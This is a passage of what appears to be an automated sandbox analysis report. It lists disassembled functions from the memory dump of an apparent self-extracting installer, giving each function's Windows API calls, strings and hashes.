Opcode Fuzzy Hash: 8a2e6c0334bc89f23ba97bcf6f1b71ff15e7377b0494ce4e358ccbed341504c3
Instruction Fuzzy Hash: D7E0E532200209EFDB00CF10D841FAA37AAFB88714F10C128E9188A210D331AA20DF58

Uniqueness

Uniqueness Score: -1.00%

Function 004102F1 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 00410307

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 43f30ffb6e12e3d8ca92a7d410084cb5a86d7931581929057c4e3ca2e383e352
Instruction ID: a00d19791c8a15e731787cbb0f0cb061f2b007acdb45f2ba025ad1f5564b8e6c
Opcode Fuzzy Hash: 43f30ffb6e12e3d8ca92a7d410084cb5a86d7931581929057c4e3ca2e383e352
Instruction Fuzzy Hash: 18E0EC36200208FFDB01CF90CC01FDE7BB9EB05314F518068A90596250C775AA64EB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040DC53 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040DC58

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ced5567f4758389d7df3c0023eee75abb33bc1cedd73c2ffa7038f3a13f2c471
Instruction ID: dbf068bb6c6f98a1f29eed7e317dfe09a5148866e4f0c403f86f4991b60a5af1
Opcode Fuzzy Hash: ced5567f4758389d7df3c0023eee75abb33bc1cedd73c2ffa7038f3a13f2c471
Instruction Fuzzy Hash: 80D01772801119BBDF019F81CC02EDF7B39EF09758F04440AF90022110C7B9AE209BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004103FF Relevance: 1.5, APIs: 1, Instructions: 11timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?,?,004103FB,00000000,00000000,?,?,0040328B,?), ref: 0041040D

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: cf5092b52a5e7595e08d5d1fb142c750b52c52c39f02d9e50e4cf558d920441e
Instruction ID: 841114148778ffde61d7a37b9bc87149ccf8c7a1a7a74647ee76dbef892859db
Opcode Fuzzy Hash: cf5092b52a5e7595e08d5d1fb142c750b52c52c39f02d9e50e4cf558d920441e
Instruction Fuzzy Hash: F0C00236200209FB9F125FA1DC06D9A7F6EAB15660B558029FA1844431DA339570AB55

Uniqueness

Uniqueness Score: -1.00%

Function 0041066F Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0041069E

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 5e02415750c6586a4b8473913151e53133f023520e0c3576aa81939558ae493d
Instruction ID: c2e6bed8c44f7ee923090dbc51e80e7d159b00d0d5ad45e76b16a1ec8880bf92
Opcode Fuzzy Hash: 5e02415750c6586a4b8473913151e53133f023520e0c3576aa81939558ae493d
Instruction Fuzzy Hash: 2A01AD3120011AEBCB15DF14C900AEAB775BF85354B10422AAC069B720D7B9ECE2DBE8

Uniqueness

Uniqueness Score: -1.00%

Function 0040F353 Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004,?,0040F342,?), ref: 0040F36C

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: cb5345b38f13f542bc0999f45fbaa860d8fabc4394678cc27047b20c3bcd7128
Instruction ID: 25a03838a9e5bde41bd996443d3f41719a01a07f7eb970dafa34d09213db41b0
Opcode Fuzzy Hash: cb5345b38f13f542bc0999f45fbaa860d8fabc4394678cc27047b20c3bcd7128
Instruction Fuzzy Hash: D0C0803128430CFBEF200AD0EC07BE537589704B66F40C031F70C584D1C3F154A04548

Uniqueness

Uniqueness Score: -1.00%

Function 0040F374 Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,?,0040F350,?), ref: 0040F387

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: f9f868b486ca6c55b60dd3b02b900ebd25f17458d15dbc2f3974d298502b1edd
Instruction ID: d189a471d701b531934ebdd57e225923eb8a4c3344d10efef1124ca1f94c8f55
Opcode Fuzzy Hash: f9f868b486ca6c55b60dd3b02b900ebd25f17458d15dbc2f3974d298502b1edd
Instruction Fuzzy Hash: 3AC04C30140B08A6DB211E54DC09BA53A68B704755F948071BA0C285E1C7B565A6CA88

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004041E0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 149stringCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00404227
wsprintfW.USER32 ref: 00404238
GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00404247
GetLastError.KERNEL32 ref: 00404252
GetEnvironmentVariableW.KERNEL32(?,00000000,0000002D), ref: 0040427C
GetLastError.KERNEL32 ref: 00404287
lstrcmpiW.KERNEL32(00000000,00000000), ref: 00404299
SetLastError.KERNEL32(00401877), ref: 004042CD
lstrlenA.KERNEL32(00426DC8), ref: 00404303
GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 00404352
MultiByteToWideChar.KERNEL32(000004E4,00000000,00426DC8,00000001,00000000,00000002), ref: 00404388

Strings

SfxString%d, xrefs: 00404232

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ErrorLast$EnvironmentVariable$ByteCharInfoLocaleMultiWidelstrcmpilstrlenwsprintf
String ID: SfxString%d
API String ID: 1827968993-944934635
Opcode ID: 7f4e098597d81223bb14df3bea17dc4cac01222421f863eb01eaa9ddeedfdf3f
Instruction ID: b47b955149cd9fcfcc159436c999e3e9f69cbd094d4f4f1dc6c80038ee8dbebb
Opcode Fuzzy Hash: 7f4e098597d81223bb14df3bea17dc4cac01222421f863eb01eaa9ddeedfdf3f
Instruction Fuzzy Hash: E94190B1701205EBDB24DB65EC59F6B77B8EB84750B10467EF60AEB290D734A841CB28

Uniqueness

Uniqueness Score: -1.00%

Function 00404C1A Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 80libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00404C25
FindResourceExA.KERNEL32(00000000,?,?), ref: 00404C42
FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 00404C56
SizeofResource.KERNEL32(00000000,00000000), ref: 00404C67
LoadResource.KERNEL32(00000000,00000000), ref: 00404C71
LockResource.KERNEL32(00000000), ref: 00404C7C
GetProcAddress.KERNEL32(SetProcessPreferredUILanguages), ref: 00404CA8
wsprintfW.USER32 ref: 00404CC6
GetProcAddress.KERNEL32(SetThreadPreferredUILanguages), ref: 00404CDE

Strings

SetProcessPreferredUILanguages, xrefs: 00404C93
SetThreadPreferredUILanguages, xrefs: 00404CD3
%04X%c%04X%c, xrefs: 00404CC0

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Resource$AddressFindProc$HandleLoadLockModuleSizeofwsprintf
String ID: %04X%c%04X%c$SetProcessPreferredUILanguages$SetThreadPreferredUILanguages
API String ID: 2090077119-3413765421
Opcode ID: 7f2cb8d7de5048bc051c4e283d3081dc8163bd7a7b193df09902caeeb95a0e3f
Instruction ID: b1946e7ce9d7ca41136cde43adb60b4889b8b5e940f3081457677548b8fee1e5
Opcode Fuzzy Hash: 7f2cb8d7de5048bc051c4e283d3081dc8163bd7a7b193df09902caeeb95a0e3f
Instruction Fuzzy Hash: ED2104B2705224BFEB215B619D85F6B36ACEB44B60F06013AFF04A2290D7B48C0196AC

Uniqueness

Uniqueness Score: -1.00%

Function 00409BE6 Relevance: 13.6, APIs: 9, Instructions: 98stringwindowCOMMON

Download Yara Rule

APIs

wvsprintfW.USER32(?,00000000,?), ref: 00409C0A
GetLastError.KERNEL32(?,0000FDE9,00000000), ref: 00409C1A
FormatMessageW.KERNEL32(00001100,00000000,00000000,?,00000000,00000000,00000000,?,0000FDE9,00000000), ref: 00409C42
FormatMessageW.KERNEL32(00001100,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,0000FDE9,00000000), ref: 00409C59
lstrlenW.KERNEL32(?,?,00000000,00000000,00000000,?,0000FDE9,00000000), ref: 00409C6C
lstrlenW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0000FDE9,00000000), ref: 00409C73
lstrcpyW.KERNEL32(00000000,?), ref: 00409C9F
lstrcpyW.KERNEL32(00000002,00000000), ref: 00409CB2
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000000,?,0000FDE9,00000000), ref: 00409CC5

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$ErrorFreeLastLocalwvsprintf
String ID:
API String ID: 4146474141-0
Opcode ID: abf9a4ac6d111573c16582b3a4eebcefae3121f7bf6054cbea188eb8f30ba9a7
Instruction ID: 508669374a93101f4eed159fa3ad7ff8dc3d414b8dd120f761924a60aac3ce36
Opcode Fuzzy Hash: abf9a4ac6d111573c16582b3a4eebcefae3121f7bf6054cbea188eb8f30ba9a7
Instruction Fuzzy Hash: 382195B2500108BFEB15ABA0DC89DEB7BACEB44394F10407BF505D7191EB749D458BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040907E Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0040908D
SetWindowsHookExW.USER32(00000007,Function_0000A042,00000000,00000000), ref: 0040909D
GetCurrentThreadId.KERNEL32 ref: 004090B1
SetWindowsHookExW.USER32(00000002,Function_0000A013,00000000,00000000), ref: 004090C1
EndDialog.USER32(?,00000000), ref: 004090EC

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CurrentHookThreadWindows$Dialog
String ID:
API String ID: 1967849563-0
Opcode ID: 4df84d1bd656f8eaedc51198c563da29db259af31261c873a9cfec0d0174961a
Instruction ID: 1de629513dfd5212a045c9051dfbcd0eeee4196d663c53dd5cbd2f8a4d13d288
Opcode Fuzzy Hash: 4df84d1bd656f8eaedc51198c563da29db259af31261c873a9cfec0d0174961a
Instruction Fuzzy Hash: E6F03770640320DFE730AF25EC1DB6A36A4B708712F41553AEA06A15E2C7F91C85DB59

Uniqueness

Uniqueness Score: -1.00%

Function 004038DD Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 275comCOMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000019,00000000), ref: 00403997
CoCreateInstance.OLE32(00428EFC,00000000,00000001,00428EBC,?,.lnk,?), ref: 00403AFA

Strings

.lnk, xrefs: 00403AD9

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CreateFolderInstancePathSpecial
String ID: .lnk
API String ID: 3960669845-24824748
Opcode ID: 466caa6d68620f439d6c09d30aa0ec6d90ae214fa68045dc1d0a9ae9f45ddbea
Instruction ID: 0f9c674c318c4d2dd5ba718d070338e33a1de2cf573e2aabd0fee71f76e26f14
Opcode Fuzzy Hash: 466caa6d68620f439d6c09d30aa0ec6d90ae214fa68045dc1d0a9ae9f45ddbea
Instruction Fuzzy Hash: 3D919E71900108AEDB04EFA5DC55DEEBBB9EF44305F50402EF501B61E2EB79AE86CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040493F Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0040496E
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00404980
FreeSid.ADVAPI32(?), ref: 00404989

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: f341d5858635c32a3842cc5ccc92d0fbf7a255c5229dfdb0991bff57df6e8d4b
Instruction ID: d36a6a43374de4970cfb710a451365c27491d80713a9525f54b4ff8bd746f58d
Opcode Fuzzy Hash: f341d5858635c32a3842cc5ccc92d0fbf7a255c5229dfdb0991bff57df6e8d4b
Instruction Fuzzy Hash: 40F07AB5A0020CFFEB10DFD5DD89EAEBBBCFB08744F5054A5A601A2191D7709E059B58

Uniqueness

Uniqueness Score: -1.00%

Function 0041EDD8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

., xrefs: 0041EF85

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: e89b55ebbe91406ee1432f6ff6a450b024342772fbaac3b4abb21e80c8ce0c6b
Instruction ID: 4d9d9654dab04340915243de6610c861b2a3d70b831f000788b3d0948a8fbb8b
Opcode Fuzzy Hash: e89b55ebbe91406ee1432f6ff6a450b024342772fbaac3b4abb21e80c8ce0c6b
Instruction Fuzzy Hash: C7310575900209AFDB24CE6ACC85EFB7BAEDB45348F14019EF84997351E6349D81CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD9D Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0041FD9D

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: ede0a47e02430bebc9072c59c6c572927439b9f1fb140f525b851199ab4272d6
Instruction ID: 191087c2d9ee7c1145000199b197fd8ac47fc9fe05b61f43655889c43006938d
Opcode Fuzzy Hash: ede0a47e02430bebc9072c59c6c572927439b9f1fb140f525b851199ab4272d6
Instruction Fuzzy Hash: 7BA011302002028F83808F30AA0820A3AA8AA002E238A2038A000C2020EB3880A0AA08

Uniqueness

Uniqueness Score: -1.00%

Function 0040230A Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 206threadprocesssynchronizationCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,?), ref: 00402328
GetStartupInfoW.KERNEL32(00000044,?,?,?,?,?,?,?,?,?,00000000), ref: 00402464
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000001,01000004,00000000,00000044,?), ref: 0040248B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 00402495
CreateJobObjectW.KERNEL32(00000000,00000000), ref: 004024A6
AssignProcessToJobObject.KERNEL32(00000000,?), ref: 004024BC
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 004024CC
SetInformationJobObject.KERNEL32(00000000,00000007,00000000,00000008), ref: 004024EB
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004024F4
GetQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 0040250D
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040251A
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 00402521
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00402530
GetExitCodeProcess.KERNEL32(?,00000000), ref: 00402539
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 00402543
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040254F
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 00402556
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 0040255D

Strings

D, xrefs: 00402453
" -, xrefs: 0040233B
sfxwaitall, xrefs: 00402336

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CloseHandleObject$CreateProcess$CompletionErrorLastResumeThread$AssignCodeCommandExitInfoInformationLinePortQueuedSingleStartupStatusWait
String ID: " -$D$sfxwaitall
API String ID: 47019888-3949692445
Opcode ID: db907838a9ef951b82fdb0fae0d522fa3cf8f07bdfab089a8253480225f1884e
Instruction ID: 1d43b18fbf7b1c6edcb2810850b1789e679404b1dcd4d52ef286dc22b27973a9
Opcode Fuzzy Hash: db907838a9ef951b82fdb0fae0d522fa3cf8f07bdfab089a8253480225f1884e
Instruction Fuzzy Hash: 87616F72900119EBDF21EBA1EC45EDEBB7CAF04344F100176F605B21A1DB395E45DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040885E Relevance: 36.3, APIs: 24, Instructions: 267windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000065), ref: 00408881
LoadIconW.USER32(00000000), ref: 00408888
GetSystemMetrics.USER32(00000032), ref: 0040889A
GetSystemMetrics.USER32(00000031), ref: 0040889F
GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000), ref: 004088A8
LoadImageW.USER32(00000000), ref: 004088AF
SendMessageW.USER32(?,00000080,00000001,00000000), ref: 004088CD
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 004088DA

Part of subcall function 00409600: GetDlgItem.USER32(?,?), ref: 0040960C
Part of subcall function 00409600: GetWindowTextLengthW.USER32(00000000), ref: 00409613
Part of subcall function 00409600: GetDlgItem.USER32(?,?), ref: 00409626

Part of subcall function 00409DFA: GetDlgItem.USER32(?,?), ref: 00409E09
Part of subcall function 00409DFA: ShowWindow.USER32(00000000,?,?,00408B2D,000004B1,00000000,?,?,?,?,000004B4,00000000,000004B3,00000000,?,00000000), ref: 00409E21

Part of subcall function 004097CD: GetDlgItem.USER32(?,000004B3), ref: 004097E3
Part of subcall function 004097CD: SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004097F5
Part of subcall function 004097CD: GetDlgItem.USER32(?,000004B4), ref: 004097FF
Part of subcall function 004097CD: SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 0040980B
Part of subcall function 004097CD: SendMessageW.USER32(?,00000401,?,00000000), ref: 0040981A
Part of subcall function 004097CD: GetDlgItem.USER32(?,?), ref: 00409822
Part of subcall function 004097CD: SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 0040982E
Part of subcall function 004097CD: GetDlgItem.USER32(?,?), ref: 00409836
Part of subcall function 004097CD: SetFocus.USER32(00000000,?,?,004089E2,000004B4,000004B3,00000000,000004B4,00000000,?,00000000), ref: 00409839

Part of subcall function 00405296: SetWindowTextW.USER32(?,?), ref: 004052F7

Part of subcall function 0040501D: GetClassNameA.USER32(?,?,00000040), ref: 0040502E
Part of subcall function 0040501D: lstrcmpiA.KERNEL32(?,STATIC), ref: 00405045
Part of subcall function 0040501D: GetWindowLongW.USER32(?,000000F0), ref: 00405056
Part of subcall function 0040501D: GetParent.USER32(?), ref: 0040508B
Part of subcall function 0040501D: LoadLibraryA.KERNEL32(riched20), ref: 004050A0
Part of subcall function 0040501D: GetMenu.USER32(?), ref: 004050B3
Part of subcall function 0040501D: SetThreadLocale.KERNEL32(00000419), ref: 004050C0
Part of subcall function 0040501D: CreateWindowExW.USER32(00000000,RichEdit20W,00426A18,50000804,?,?,?,?,00000000,00000000,00000000,00000000), ref: 004050F0
Part of subcall function 0040501D: DestroyWindow.USER32(?), ref: 004050FD
Part of subcall function 0040501D: SendMessageW.USER32(00000000,00000459,00000022,00000000), ref: 00405114
Part of subcall function 0040501D: GetSysColor.USER32(0000000F), ref: 00405118
Part of subcall function 0040501D: SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00405126

GetDlgItem.USER32(?,000004B2), ref: 004088F6
GetDlgItem.USER32(?,000004B2), ref: 00408902
GetWindowLongW.USER32(00000000,000000F0), ref: 00408909
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0040891E
GetDlgItem.USER32(?,000004B5), ref: 0040892B
GetDlgItem.USER32(?,000004B5), ref: 0040893B
GetWindowLongW.USER32(00000000,000000F0), ref: 00408946
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00408955
GetDlgItem.USER32(?,000004B2), ref: 0040896B
GetWindow.USER32(?,00000005), ref: 00408A50
GetWindow.USER32(?,00000005), ref: 00408A6D
GetWindow.USER32(?,00000005), ref: 00408A86
GetModuleHandleW.KERNEL32(00000000,00000065,?,?,?,?,000004B4,00000000,000004B3,00000000,?,00000000), ref: 00408AEA
LoadIconW.USER32(00000000), ref: 00408AF1
GetDlgItem.USER32(?,000004B1), ref: 00408B10
SendMessageW.USER32(00000000), ref: 00408B13

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

